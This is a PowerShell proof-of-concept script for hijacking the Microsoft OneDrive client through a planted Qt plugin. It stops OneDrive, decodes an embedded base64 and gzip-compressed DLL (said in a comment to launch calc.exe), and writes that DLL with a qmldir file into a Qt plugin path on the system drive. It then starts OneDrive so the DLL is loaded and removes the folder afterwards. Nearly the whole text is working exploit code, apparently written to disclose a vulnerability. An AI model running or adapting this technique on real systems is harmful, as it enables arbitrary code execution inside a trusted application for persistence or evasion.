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Microsoft OneDrive client Qt plugin hijack proof of concept
# kill OneDrive if it's running
Get-Process -Name OneDrive -ErrorAction SilentlyContinue | Stop-Process -ErrorAction SilentlyContinue
# embedded 32-bit DLL that runs calc.exe
$EncodedCompressedFile = "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"
$DeflatedStream = New-Object System.IO.Compression.GZipStream([System.IO.MemoryStream][System.Convert]::FromBase64String($EncodedCompressedFile), [System.IO.Compression.CompressionMode]::Decompress)
$dll = New-Object byte[] 14336
$DeflatedStream.Read($dll, 0, $dll.Length) | Out-Null
$DeflatedStream.Close() | Out-Null
# create folders & drop DLL
$targetfolder = "$env:SystemDrive\Qt\Qt-5.11.1\qml\QtQuick\Controls\impl"
New-Item -Type directory -Path "$targetfolder" | Out-Null
Set-Content "$targetfolder\hijack.dll" -Encoding Byte $dll
Set-Content "$targetfolder\qmldir" -Encoding Utf8 "module QtHijack`nplugin hijack`nclassname QtQuick2Plugin`ntypeinfo plugins.qmltypes`ndesignersupported"
# launch OneDrive
Start-Process -FilePath "$env:LOCALAPPDATA\Microsoft\OneDrive\OneDrive.exe"
Start-Sleep 15
# cleanup
Get-Process -Name OneDrive | Stop-Process -ErrorAction SilentlyContinue
Start-Sleep 2
Remove-Item "$env:SystemDrive\Qt" -Force -Recurse
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